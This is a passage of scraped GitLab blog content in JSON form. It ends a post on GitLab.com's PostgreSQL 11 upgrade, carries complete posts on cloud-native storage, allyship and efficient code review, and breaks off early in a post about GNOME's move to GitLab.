restore the activity for GitLab.com when traffic was quieter.\n * Start receiving traffic – with this approach we could minimize downtime.\n * Recreate the other nodes using disk snapshot image that were taken during the maintenance and before the upgrade.\n\nAll the steps of the upgrade are detailed in the template used to execute the project.\n\n## How pg_upgrade works\n\nThe [pg_upgrade](https://www.postgresql.org/docs/11/pgupgrade.html) process allows us to upgrade data files from PostgreSQL to a later PostgreSQL major version, without using a dump/reload strategy which would require more downtime.\n\nAs explained in the [official PostgreSQL documentation](https://www.postgresql.org/docs/11/pgupgrade.html), the pg_upgrade tool avoids performing the dump/restore method to upgrade the PostgreSQL version. There are some important details to review before proceeding with this tool. Major PostgreSQL releases add new features that often change the layout of the system tables, but the internal data storage format rarely changes. If a major release changes the data storage format, pg_upgrade could not be used, so we must verify what changes were included between the major versions.\n\nIt is important that any external modules are also binary-compatible, though this cannot be checked by pg_upgrade. For the GitLab upgrade, we uninstalled views/extensions such as [postgres_exporter](https://github.com/wrouesnel/postgres_exporter) before the upgrade, to recreate them after the upgrade (with slight modifications for compatibility reasons).\n\nBefore performing the upgrade, the new version binaries have to be installed. The new binaries from PostgreSQL and extensions were installed in the set of hosts, that were listed to be upgraded.\n\nThere are some options when using pg_upgrade. We chose to use pg_upgrade's link mode on the Leader node because of our narrow, two-hour maintenance window. This method avoids copying the 6TB data files by hard linking files through [inode](https://en.wikipedia.org/wiki/Inode). The drawback is the old data cluster could not be rolled back to 9.6. We provided a rollback path via the replicas kept in 9.6 and GCP snapshots as a secondary choice.\nRebuilding the replicas from scratch was not an option either so we used rsync to upgrade them using incremental features. pg_upgrade's documentation says: \"From a directory on the primary server that is above the old and new database cluster directories, run this on the primary for each standby server\".\n\nThe ansible-playbook implemented this step by having a task from the leader node to each replica, triggering the rsync command from the parent directory of both new and old datadirs.\n\n## Regression testing benchmarks\n\nAny migration or database upgrade requires a regression test before performing the final production upgrade. For the team, the database test was a key step in this process, executing performance tests based on the query load from production, captured in the table pg_stat_statements. These were executed in the same dataset - once for the 9.6 version and another iteration for version 11. The process was captured in the following public issues:\n\n * [Preparing the tool](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7817)\n * [Creating the test environment](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/9177)\n * [Capacity planning](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/9094)\n * [Run the benchmark with JMeter tool](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/9545)\n\nFinally, based on OnGres work on this benchmark, GitLab will be following up with a new benchmark test for the future:\n\n * [Capacity assessment for our main production DB cluster](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/10258)\n * [Database capacity and saturation analysis](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/10340)\n\n### The upgrade process: automate everything\n\nDuring the upgrade project, the upgrade teams have a strong commitment to Infrastructure as Code (IaC) and automation: All the processes had to be fully automated in order to keep any human error to a minimum during the maintenance window. All the steps for pg_upgrade execution are detailed at this [Gitlab pg_upgrade template issue](https://gitlab.com/gitlab-com/gl-infra/db-migration/-/blob/master/.gitlab/issue_templates/pg_upgrade.md).\n\nThe GitLab.com environment is managed by Terraform and Chef. All the automation for the upgrade was scripted via Ansible 2.9 playbooks and roles, where we used two ansible-playbooks to automate the upgrade:\n\nOne [ansible-playbook](https://gitlab.com/gitlab-com/gl-infra/ansible-migrations/-/tree/master/maintenance-mode) controlled the traffic and the applications:\n\n * Put Cloudflare in maintenance and do not receive traffic.\n * Stop HA-proxy\n * Stop the middleware that accesses the database:\n   * Sidekiq\n   * Workhorse\n   * WEB-API\n\nThe second [ansible-playbook](https://gitlab.com/gitlab-com/gl-infra/db-migration/-/tree/master/pg-upgrade) executed the upgrade process:\n\n * Orchestrate all the database and pools traffic\n * Control Patroni cluster and Consul instances\n * Execute the upgrade on the primary and secondary nodes\n * Collect statistics after the upgrade\n * Synchronize the changes using Chef to keep the integrity with our configuration management\n * Verify the integrity and status of the cluster\n * Execute a GCP snapshot\n * Possible rollback process\n\nThe playbook was run interactively task by task, providing the operator with the ability to skip or pause in any given execution point. Every step was reviewed by all the teams that participated in the tests and iterations in staging for the upgrade.\nThe staging environment allowed us to rehearse and find issues using the same procedure that we planned to use in production. After executing and iterating the automated process in staging we reached a quasi-flawless upgrade of PostgreSQL 9.6 to version 11.\n\nTo complete the release, the QA GitLab team reported errors that happened on some of the tests. Find the reference for this work in [this issue note](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/106#note_332170837).\n\n### Pre-upgrade steps of the PostgreSQL\n\nThe first part of the process was the \"pre-upgrade\" section, which deals with the instances reserved for rollback purposes. We did the corresponding analysis to ensure that the new cluster could start with eight out of 12 instances of the fleet without losing throughput, reserving four instances for a potential rollback scenario - where they could be brought as a 9.6 cluster via standard Patroni cluster synchronization.\n\nIt was necessary also in this phase to stop Postgres-dependent services, such as PgBouncer, Chef Client, and Patroni services.\n\nBefore proceeding with the upgrade itself, Patroni had to be signaled to avoid any spurious leader election, take a consistent backup through GCP Snapshots (using corresponding [low-level backup API](https://www.cybertec-postgresql.com/en/exclusive-backup-deprecated-what-now/?gclid=CjwKCAjwltH3BRB6EiwAhj0IUBjiSxBdmS11SUpITLCmk-oPkBa7udOWyA6bK6hig8neaiJc8n1WexoCq8UQAvD_BwE)) and apply the new settings via Chef run.\n\n### The upgrade phase of the PostgreSQL\n\nFirst, we stopped all the nodes.\n\nWe executed these checks:\n\n* pg_upgrade's version check\n* Verify that all the nodes were synchronized and not receiving any traffic.\n\nOnce the primary node data was upgraded, an rsync process was triggered for syncing the data with the replicas. After the upgrade was done, the Patroni service was started up and all the replicas caught up easily with the new cluster configuration.\n\nThe binaries were installed by Chef and the setup of the new cluster on the version was defined in the same MR that would install the extensions used in the database, from GitLab.com.\n\nThe last stage involved resuming the traffic, running an earlier vacuum and finally starting the PgBouncer and Chef Client services.\n\n### The migration day\n\nFinally, fully prepared to perform the production upgrade, the team met on that Sunday (night time for some, and early morning for others) at 08:45 AM UTC. The service would be down for a max of two hours. When the last announcements were sent, the enginering team was given permission to start the procedure.\n\nThe upgrade process began by stopping the traffic and related services, to avoid users getting into the site.\n\nThe graph below shows the traffic and HTTP stats of the service before the upgrade, during the maintenance period (the \"gap\" in the graphs) and after, when the traffic was resumed.\n\n![GitLab.com Commits](https://about.gitlab.com/images/blogimages/pg-up-traf.png)\nGraphs of the traffic on GitLab.com before and after the upgrade maintenance.\n{: .note.text-center}\n\nThe total elapsed time to do the entire job was four hours, it only required [two hours of downtime](https://status.gitlab.com/pages/maintenance/5b36dc6502d06804c08349f7/5ea322c1d1097004ba30d227).\n\n## It's on video\n\nWe recorded the full PostgreSQL upgrade and posted it to GitLab Unfiltered. Warm up the popcorn 🍿\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/TKODwTtKWew\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\nThanks to [Alvaro Hernandez](https://twitter.com/ahachete) and [Sergio Ostapowicz](https://twitter.com/Cepxio_OS) for co-authoring this blog post, as well as the [OnGres team](https://ongres.com) for their contributions and performing the upgrade with the GitLab team.\n\n## References\n\nThe issues used to coordinate this project are public:\n\n* [Upgrade Postgresql to version 11.7 on GitLab.com](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/106)\n* [Execute PostgreSQL upgrade on staging](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/9592)\n* [OnGres Inc on Twitter](https://twitter.com/ongresinc/status/1259441563614273537)\n* [Scheduled maintenance at GitLab.com](https://status.gitlab.com/pages/maintenance/5b36dc6502d06804c08349f7/5ea322c1d1097004ba30d227)\n\nCover image by [Tim Mossholder](https://unsplash.com/@timmossholder) on [Unsplash](https://unsplash.com/photos/GmvH5v9l3K4)\n{: .note}\n",[6962],{"slug":21852,"featured":6,"template":678},"gitlab-pg-upgrade","content:en-us:blog:gitlab-pg-upgrade.yml","Gitlab Pg Upgrade","en-us/blog/gitlab-pg-upgrade.yml","en-us/blog/gitlab-pg-upgrade",{"_path":21858,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21859,"content":21865,"config":21870,"_id":21872,"_type":16,"title":21873,"_source":17,"_file":21874,"_stem":21875,"_extension":20},"/en-us/blog/cloud-native-storage-beginners",{"title":21860,"description":21861,"ogTitle":21860,"ogDescription":21861,"noIndex":6,"ogImage":21862,"ogUrl":21863,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21863,"schema":21864},"A guide to cloud native storage for beginners","Choosing a cloud native development strategy is a smart step in DevOps, but storage can be a challenge. Here’s what you need to consider.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681560/Blog/Hero%20Images/cloudnative.jpg","https://about.gitlab.com/blog/cloud-native-storage-beginners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A guide to cloud native storage for beginners\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-09-10\",\n      }",{"title":21860,"description":21861,"authors":21866,"heroImage":21862,"date":21867,"body":21868,"category":8943,"tags":21869},[11618],"2020-09-10","\n\n[DevOps](/topics/devops/) and cloud native go hand-in-hand but that doesn’t mean the journey is straightforward, particularly when it comes to storage. Here’s everything you need to know about cloud-native storage if you’re just getting started. \n\n## What is cloud-native software development?\n\nBoiled down, the term [cloud native](/topics/cloud-native/) simply means taking advantage of the power of the cloud and doing so from the beginning of the software development lifecycle. Flexibility, speed, and “always on” capabilities make the cloud an ideal place for [modern software development](https://www.infoworld.com/article/3281046/what-is-cloud-native-the-modern-way-to-develop-software.html).\n\nAlthough [containers aren’t limited to just the cloud](https://containerjournal.com/features/what-do-containers-have-to-do-with-being-cloud-native-anyway/), they are a key part of cloud native software development because they make it simple to move chunks of code from cloud to cloud using the same set of tools and processes. Containers can be created, moved or deleted with just the click of a mouse. [Kubernetes](/solutions/kubernetes/) is an increasingly popular open source tool for managing containers.\n\n## Why storage is the stumbling block\n\nSo far, so good, but what about storage? The features that make containers so ideal for cloud native (flexible, portable, disposable) are the same things that make them a storage nightmare. Developers finished with containers can just kill them – but for most apps to work, they need access to reliable storage that can’t be eliminated. \n\nAnd that’s the big hiccup when it comes to cloud native storage, says [Brendan O’Leary](/company/team/#brendan), senior developer evangelist at GitLab. “Almost every app in existence needs database storage,” Brendan explains. “But in a cloud native world things come and go but storage can’t do that. Storage has to stick around and solving for that is the hardest part of cloud native. That’s the thing we need to conquer next.”\n\nThe [Cloud Native Computing Foundation](https://www.cncf.io/) says the goal is to create [\"persistent information\"](https://www.cncf.io/blog/a-complete-storage-guide-for-your-kubernetes-storage-problems/) that exists no matter what’s going on around it. Ideally the CNCF recommends that information not be stored in what it calls \"volatile\" containers.\n\n## Solutions on the horizon\n\nThe good news is that a number of companies are trying to solve the tricky problem of cloud native storage. Here’s a quick look in no particular order (Cockroach and Rancher are GitLab partners):\n\n* [OpenEBS]( https://openebs.io) is a Kubernetes-based tool to create stateful applications using Container Attached Storage.\n* Also Kubernetes-based, [Rook](https://rook.io) offers self-managed, scaling, and healing storage services.\n* [Cockroach Labs](https://www.cockroachlabs.com/) uses Distributed SQL to make databases portable and scalable.\n* [Rancher Longhorn](https://longhorn.io) offers persistent storage for Kubernetes.\n\n## Final considerations\n\nA Gartner Group report, “Top Emerging Trends in Cloud-Native Infrastructure”, advises clients to “choose storage solutions aligned with container-native data service requirements and the standard storage interface, [Container Storage Interface (CSI)](https://www.architecting.it/blog/container-storage-interface/). CSI is an API that lets container orchestration platforms like Kubernetes seamlessly communicate with stored data via a plug-in. \n\nAnd finally, there’s no shame in choosing something straightforward, Brendan suggests, particularly if you’re just getting started in the Kubernetes world. “You can go with a cloud provider’s data storage options,” he says. “That’s still cloud native but it’s even simpler to just use the tools that exist. Don’t try to reinvent the wheel.”\n\nCover image by [Joshua Coleman](https://unsplash.com/@joshstyle) on [Unsplash](https://unsplash.com)\n{: .note}\n",[3949,2509,815],{"slug":21871,"featured":6,"template":678},"cloud-native-storage-beginners","content:en-us:blog:cloud-native-storage-beginners.yml","Cloud Native Storage Beginners","en-us/blog/cloud-native-storage-beginners.yml","en-us/blog/cloud-native-storage-beginners",{"_path":21877,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21878,"content":21883,"config":21888,"_id":21890,"_type":16,"title":21879,"_source":17,"_file":21891,"_stem":21892,"_extension":20},"/en-us/blog/being-a-better-ally",{"title":21879,"description":21879,"ogTitle":21879,"ogDescription":21879,"noIndex":6,"ogImage":21880,"ogUrl":21881,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21881,"schema":21882},"Being A Better Ally","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679611/Blog/Hero%20Images/cook-county-blog-unsplash.jpg","https://about.gitlab.com/blog/being-a-better-ally","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Being A Better Ally\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2020-09-09\",\n      }",{"title":21879,"description":21879,"authors":21884,"heroImage":21880,"date":21885,"body":21886,"category":18484,"tags":21887},[2680],"2020-09-09","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nI’ve been at GitLab five months now - with every merge request committed and milestone met, GitLab team members collaborate on innovative and efficient methods of delivering some of the world's best software. Besides this, I’ve also noticed that GitLab team members do a superb job of creating an environment that allows each of our peers to contribute, be heard, and bring their whole selves to work. Once you’ve gotten a taste of being part of that kind of community you get to see how much it matters in writing good code - talented and inclusive teams are more creative, efficient, and happier in the workplace.\n\nThe Gitlab Handbook offers amazing explanations about our values and resources for living them to your best ability. One of our values ‘Diversity, Inclusion, and Belonging’ has the following note on this value that I really appreciate:\n\n> “... Diversity is having a seat at the table, Inclusion is having a voice and feeling empowered to use it, and Belonging is acknowledgement of your voice being heard along with creating an environment where team members feel secure to be themselves...”\n\nAnyone can, and everyone should strive to nurture these values. For myself, as a person with intersecting levels of privilege who is not a member of an underrepresented group, allyship is a fantastic way to help build a better working environment. Though, being honest, if you asked me 6 months ago what allyship meant, I couldn't have told you. Going over the Handbook was a great start and I highly encourage it, as was working through my own [diversity training](https://gitlab.com/gitlab-com/diversity-and-inclusion/-/issues/127) but I also wanted to put together a small piece for anyone else getting started on their journey in allyship. Something my old bodybuilding coach [Blue Shinners](https://www.independent.ie/lifestyle/big-and-beautiful-26331156.html) used to tell me came to mind when I started the learning process;\n\n> It's not complicated, but that doesn't make it easy - Blue Shinners\n\nFor context on this piece, I want to let you know the following:\nI am a white, cisgender male (pronouns: he|him|his). I also have a lot of privilege along other lines of intersectionality (e.g. heterosexual, neurotypical, a citizen of an affluent, peaceful nation, etc).\n\nI am far from an expert in the field of allyship or building inclusive work environments, so I’m relying on my lived experiences and what I’ve learned from reading and listening to others. Regarding scope, I am committed to using my position within GitLab to help foster an inclusive and diverse environment aligned with GitLab’s core values.\n\nI’ve got to say - for me, becoming a better ally looks a lot more like a patchwork of small bursts of reading, learning little bits in social interactions, being corrected here and there, apologizing, and using what I’ve learned to do better. It isn’t always tidy, but if I were to lay my journey out in general steps, it would look a little something like this:\nGetting excited about learning and listening, making space, and making spaces inclusive. Contributing to a better culture, where and how you can. If you see something, (and it’s safe for you to do so,) say something. Though most of all accept that you will make mistakes, and strive for course correction.\n\nI personally make a lot of mistakes. The uncomfortable truth about making mistakes is they are part of lifeand more part of living honestly. Alan Watts very famously said that you do not know where your choices come from when you live honestly, and this can cause you to fumble as you explore like a toddler taking their first steps. One of the most difficult things I have ever done is to honestly level the question at myself;\n\n> If you make mistakes in all other areas of life, is it possible you also make mistakes in this area?\n\nThe natural instinct is to pull back in ~~anger~~(fear), claiming you are a good person and would never intentionally set out to treat people differently based on something as shallow as how they look or present themseleves. Regardless of how you feel, making mistakes is inevitable purely due to the fact that without a well thought out dose of empathy, you simply cannot assume someone else's situation nor experience.\n\n### Getting excited about learning and listening\n\nSearch for answers - you don’t have to know everything about the historical and cultural basis of social injustice, but I know that even a few articles or YouTube videos here and there have made the difference in giving me a better foundation for understanding, open-mindedness, kindness, and better conduct.\n\nListen to your peers, partners, and colleagues when they share their experiences or important pieces of news with you - and be willing to share yours, if asked.\n\nKnow your [‘-isms’](https://en.wikipedia.org/wiki/-ism) and learn about unconscious biases - especially your own. If you haven’t experienced certain kinds of prejudice or discrimination it may be while until you learn about them or how you unconsciously maintain them. Knowing about them lets you make an active choice in reducing toxic behaviors in shared spaces.\n\nIf you can’t find what you’re looking for in your research, don’t be afraid to ask for help. When possible, ask the appropriate person for help, like your team supervisor, or even ask in the GitLab diversity slack channel (I personally learn a lot from this channel each day).\n\nWhen the context is more specific, ask your peers - but leave room for individuals to say no or for groups to leave anonymous feedback.\n\nKnowledge is necessary to good allyship. And it’s sufficient when paired with inclusive, affirming actions. Like with any good piece of code, go for the minimum viable product - learn more, incorporate it into your daily actions, be willing to keep adding to that knowledge base and growing.\n\n### Making space, and making spaces inclusive\n\nLearn about the space you’re in and space you occupy - for myself, this journey meant coming through the understanding that software companies are overwhelmingly composed of people that look just like me. Learning more about how and why some groups are underrepresented, even in companies like GitLab, is another important step in allyship.\n\nLooking at GitLab’s values, we’re encouraged to see others succeed and help where we can. Good allyship is about doing my best to ensure that underrepresented voices are given at least as much space as my own, both by letting people know you want their contribution with affirming and inclusive language and by showing your appreciation for those contributions by giving credit and offering praise centered on their hard work.\n\nUse common sense and be kind in your interactions with your colleagues. Don’t make assumptions. Be flexible and open-minded. Be respectful of others’ privacy and get excited about what they’re willing to share with you, from their quirks to their life story and family album. These interactions create the bond GitLab team memebers share and makes this all-remote team that you love to work with.\n\n### Contribute to a better culture, where and how you can\n\nImproving the work we do at GitLab is often about your contributions, but it’s also about how good a job we do as allies to ensure that all of our ideas and contributions receive time, consideration, and credit. As a good ally, this means remembering to uplift and make space for the most marginal voices.\n\nCelebrate intersectional as well as cross-functional collaboration by considering paired-programming or mentorship with someone new. The benefit of working at GitLab is that it is teeming with talented developers from all backgrounds. When you issue or consider a request for paired programming or mentorship, center the goals and timeline to confirm you both have the time and skills to get it all in. Be willing to meet the other person where they’re at: be flexible, respectful, and accommodating of their needs in the workplace, ask them about their experiences, be willing to share yours.\n\nShare your time and your love of code with your local community - hundreds of cities worldwide have organizations and education programs that promote programming for marginalized groups and youth. Even if it’s during traditional working hours, at GitLab, we have the flexibility of working things out with our supervisor to support the events and people that won’t wait until ‘after work’. A great example of this is the [Vue Vixens](https://www.vuevixens.org/) which are one of my personal favorites.\n\nDonate to an organization or cause that is able to do the work you can’t on your own. Did you know that GitLab has a pretty great [donation matching program proposal in the makes?](https://gitlab.com/gitlab-com/diversity-and-inclusion/-/issues/91) It’s nice to know they’ll back you up on the causes you support.\n\nIf you see something (and it’s safe for you to do so), say something. Call out discrimination - address the behavior, without labeling the person. This comes back to empathy in the workplace. Be in the shoes of the person or group experiencing the discriminatory behaviour, and be in the shoes of the person behind the behaviour. Support the marginalized person or group, to reinforce the equal value of everyone of GitLab. Addressing someone’s discriminatory behaviour and holding them accountable gives them an opportunity to adopt, adapt, and improve.\n\nWe have a lot of options in how we respond to discriminatory behavior. I go into all interactions with my team assuming good intent, and keep in mind that we are each more than our work or individual actions. I also keep in mind that while discriminatory behavior can be addressed directly and in the moment or context, it can also be addressed indirectly, or in a 1-on-1 afterwards, which can offer a more approachable context for difficult feedback.\n\nI recognize that in an ideal world, everyone would feel comfortable calling out discriminatory behavior, but it isn’t always safe for everyone to do so - especially members of the groups being discriminated against. That’s where ally’s like myself come in - inclusive spaces are about shared work, and I have more opportunities than many to help build that.\n\nAccept that you will make mistakes, and strive for course correction in all areas.\n\n“Many would-be allies fear making mistakes that could have them labeled as “-ist” or “-ic” (racist, sexist, transphobic, homophobic, etc). But as an ally, you’re also affected by a system of oppression. This means that as an ally, there is much to unlearn and learn—mistakes are expected. You need to own this as fact and should be willing to embrace the daily work of doing better.”\n\nI’ve mentioned before that this is a core takeaway for developers and team leaders alike. Whether we’re creating a merge request, bringing our true selves to work, or becoming a better ally, we should do so with a low sense of shame and no ego.\n\nYou will make mistakes. I promise. We all will. But when it comes to allyship, it won’t just be a blow to the ego. It will be to the part of ourselves that loves GitLab for the people we get to work with every day and hates the idea of hurting anyone here.\n\nSo here are some notes for getting through those sticky occasions, and iterating better when someone calls out that you haven’t been the best ally:\n\n> In simple terms: say thank you, say sorry, iterate and do better.\n\nDon't:\n\n- center around yourself\n- prioritize your intention above the impact of your actions\n- deny the other person’s lived experience, derail or deflect from the issue in your apology\n- avoid arguing semantics on how the issue was brought to your attention\n- ask that person to accept inequality or microaggressions as a fact of life\n- blame them or their actions for what happened\n- retaliate against the person either actively or passively\n\nDo:\n\n- ask if they’re okay and center their experience\n- listen to what they have to say, acknowledge what happened and your role in it\n- apologize as gracefully as possible\n- understand and learn from what happened, do your homework\n- stop the behavior and modify the pattern that led to it.\n\nKeep in mind that it’s okay to ask for the person’s feedback on what you can do to be a better ally or for a clarification on what happened was problematic, but remember to center their experience and leave the other person space to refuse (fixing the behaviour is contribution you make to a more inclusive space going forward). Where I come from, it’s mandatory to add that your owe the person a pint of Guiness down at the pub after a workplace chat... maybe a coffee chat is a better call for an all-remote company though.\n\nRemember that we are more than our work or our individual behaviors. But over time, we do become associated with a track record comprising both of those things. When our colleagues do code review or call us out, it’s an opportunity for us to grow and build better habits. And as long as we continue to iterate better, our contributions to GitLab will be more meaningful and people will see us in the light of the changes we’ve made (not the small slips along the way).\n\nTL;DR\n\nBeing an ally is an ongoing journey where we have many opportunities to contribute, collaborate, learn, get feedback, and iterate better... so pretty much the same as everything else we do at GitLab. And with this one, we grow better interactions with some of the most talented developers we’ll ever get to work with.\n\nAs with every other post, this is also a collaboration... so whether it’s further resources, suggested additions, punctuation edits, or even a few callouts that I should look out for, it’s all very welcome. It's how we all grow, it’s how I hope I am becoming a better ally.\n\nCover image by [Element5 Digital](https://unsplash.com/@element5digital) on [Unsplash](https://unsplash.com)\n{: .note}\n\n[Join us](/jobs/) at GitLab! Or consider [trying us out](/free-trial/) for free.\n\n",[534,674,2248,774,1899],{"slug":21889,"featured":6,"template":678},"being-a-better-ally","content:en-us:blog:being-a-better-ally.yml","en-us/blog/being-a-better-ally.yml","en-us/blog/being-a-better-ally",{"_path":21894,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21895,"content":21901,"config":21907,"_id":21909,"_type":16,"title":21910,"_source":17,"_file":21911,"_stem":21912,"_extension":20},"/en-us/blog/efficient-code-review-tips",{"title":21896,"description":21897,"ogTitle":21896,"ogDescription":21897,"noIndex":6,"ogImage":21898,"ogUrl":21899,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21899,"schema":21900},"How to carry out effective code reviews","From time management to unblocking, discover the secrets of more efficient code reviews.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678861/Blog/Hero%20Images/pre-commit.jpg","https://about.gitlab.com/blog/efficient-code-review-tips","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to carry out effective code reviews\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Phil Hughes\"}],\n        \"datePublished\": \"2020-09-08\",\n      }",{"title":21896,"description":21897,"authors":21902,"heroImage":21898,"date":21904,"body":21905,"category":8943,"tags":21906},[21903],"Phil Hughes","2020-09-08","\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2020-09-15.\n{: .alert .alert-info .note}\n\nLike most companies, code review at GitLab is a major part of our workflow. But it's clear from the results of our [2020 Global DevSecOps Survey](/developer-survey/) that code review can be a major reason for delayed releases and overall frustration. A vast majority of companies conduct code reviews (some even on a daily basis) but that doesn't mean it isn't a potential time sink.\n\n## How to perform a code review?\n\nBut code reviews can be done efficiently, and I know this since I've been a maintainer for 3 years. Here's a look at my top four tips for code review based on a tried and true routine that allows me to do effective code reviews and merge code quickly and efficiently to aid in others not being blocked by me. Of course, this is what works for *me* – your mileage may vary. Here's how I do it:\n\n### Tips for code review no.1 - Time management\n\nAn early start to my day makes it easy to start reviewing merge requests first thing. I set myself a time to start reviewing and I will keep at it until my GitLab \"to do\" list no longer has any merge requests that need reviewing. Mornings work for me; it's the time of the day when I can focus the most and get the reviews done with minimal distractions.\n\nGetting to reviews after this time is hard. I have other work that needs doing as well so once I've reviewed all merge requests on my list I leave anything new until the next day. Of course, as with all rules, it ends up getting broken. **Depending on the size of merge requests, I may make sure I review them before my day ends to make sure anyone in other timezones aren't blocked by me.**\n\n### Tips for code review no.2 - Unblock others first\n\nIt's not great for the author of a merge request to have to wait X hours/days before they get feedback. The sooner they get feedback, the sooner the merge request can be merged and shipped. Making authors wait just creates uncertainty and may mean that other work gets held up.\n\nThis is why I find it important for me to review a merge request as quickly as possible. At GitLab we have a [2  day Service Level Objective (SLO)](/handbook/engineering/workflow/code-review/#review-response-slo) for feedback from reviewers. For myself, I always try to do better than that and respond within a day.\n\n### 3. Tips for code review no.3 - Focus on the code, not the feature\n\nThis is going to be a point that could create a lot of discussion: Instead of focusing on the feature, focus on the code.\n\nA lot of the merge requests I review are across different groups, with features that I don't fully understand or with features I have no way to test. I could spend a lot of my time reading into the feature and the issue to understand what it is, but that means spending more time not reviewing everyone else's code. Also, if I did this with **every** merge request, it would be hard for me to keep to my time limit.\n\nWho is better to review the feature itself then? The product designer (UX) or the product manager both understand the feature being worked on and are better suited to help find bugs or guide the feature in the correct way. It is important that someone in the UX team review the feature to make sure it matches the designs and vision they had created for the feature. If a merge request has no UX review by the time I get to reviewing it, I will normally ask the author (or ask a product designer myself) to have the UX reviewed _before_ I merge the merge request.\n\nHowever, this point is also something I don't _always_ stick to. If a merge request is touching an area that I am familiar with and I can tell from the code that a bug exists, I will test it locally and provide as much feedback as I can to help the author understand the bug. The more you – as a reviewer – work with the code, the easier finding bugs through the code becomes. I have been working on the GitLab codebase for over 4 years, so seeing where bugs could arise through looking at the code has become natural to me.\n\n### Tips for code review no.4 - Seek to understand: Ask questions\n\nIt is easy to suggest changes to the code that I am reviewing, however sometimes what I suggest may not be right. It is important that instead of just suggesting a change, you always try to ask if the author thinks it is the right change. Having a conversation around a change helps both the reviewer and the author understand the existing code as well as the code being suggested. Maybe the suggestion had already been tried by the author. Being open to talk about it helps get to the final solution.\n\nSometimes however suggestions for changes happen around legacy code, i.e., code that has existed for a long time without being updated to match our documentation. In these cases, the conclusion may end up being that a technical debt issue be created. This is ok. We should strive for [boring solutions](https://handbook.gitlab.com/handbook/values/#boring-solutions) first but also understand that a more optimal solution may be required in the future.\n\n## To sum it up\n\nReviewing code efficiently is a skill that gets learnt the more you do it. Spending time coming up with a workflow that works for you is just as important. Over the years I have been reviewing code, I have stuck to these tips as closely as possible. Yet, I am far from perfect; I am constantly learning about new and different ways to optimise my workflow for code review. I would love to hear other tips and workflows. It is through discussions that we can improve and push ourselves to be the best that we can be.\n",[11037,942,1207],{"slug":21908,"featured":6,"template":678},"efficient-code-review-tips","content:en-us:blog:efficient-code-review-tips.yml","Efficient Code Review Tips","en-us/blog/efficient-code-review-tips.yml","en-us/blog/efficient-code-review-tips",{"_path":21914,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21915,"content":21921,"config":21925,"_id":21927,"_type":16,"title":21928,"_source":17,"_file":21929,"_stem":21930,"_extension":20},"/en-us/blog/gnome-follow-up",{"title":21916,"description":21917,"ogTitle":21916,"ogDescription":21917,"noIndex":6,"ogImage":21918,"ogUrl":21919,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21919,"schema":21920},"GNOME: two years after the move to GitLab","Extensive CI/CD adoption and easier contributions are just a couple of the benefits of #movingtogitlab for GNOME.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671276/Blog/Hero%20Images/gitlab-gnome.png","https://about.gitlab.com/blog/gnome-follow-up","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GNOME: two years after the move to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nuritzi Sanchez\"}],\n        \"datePublished\": \"2020-09-08\",\n      }",{"title":21916,"description":21917,"authors":21922,"heroImage":21918,"date":21904,"body":21923,"category":813,"tags":21924},[18895],"\n\n_It's been a little over two years since the [GNOME project moved to GitLab](/blog/welcome-gnome-to-gitlab/). We wanted to check in to see what’s happening at GNOME these days and see if they had noticed an impact from their migration on their community and their software development lifecycle. To find out the latest, we spoke with [Carlos Soriano](https://www.linkedin.com/in/carlos-soriano-sanchez-4b361240/) and [Sri Ramkrishna](https://www.linkedin.com/in/sriram-ramkrishna/) from GNOME and combined their responses._ \n\n### How are you using GitLab at GNOME? \n\nGNOME is using GitLab’s [Community Edition](/install/ce-or-ee/), which is entirely open source.\n\nAll teams at GNOME have been using GitLab for over a year, including non-coding teams like engagement and design, and the board of directors. The GNOME Foundation’s staff is also using GitLab for things like grant writing and running the foundation. \n\nGNOME is using most features that GitLab has to offer, such as [CI/CD](/topics/ci-cd/) for testing, issue tracking, kanban boards, and labels. Labels and CI/CD are two of the most important features being used across the entire organization. \n\nIn addition to this, GNOME is using GitLab Pages for some of the landing pages for projects, and also to host documentation.\n\nThe only team that hasn’t fully been able to use GitLab is the GNOME translation team since they need a different set of permissions and roles than GitLab provides. For them, Bugzilla was more flexible, and so some of their workflow is still there and in other tools. However, they are using GitLab for issue tracking and coordination. \n\nHere's how [GNOME has set up its GitLab instance](https://gitlab.gnome.org/explore/groups).\n\n### What are some of the changes that you’ve noticed in your community? \n\nThe perception at GNOME is that the move to GitLab has made it easier for people to contribute to GNOME. \n\nOne 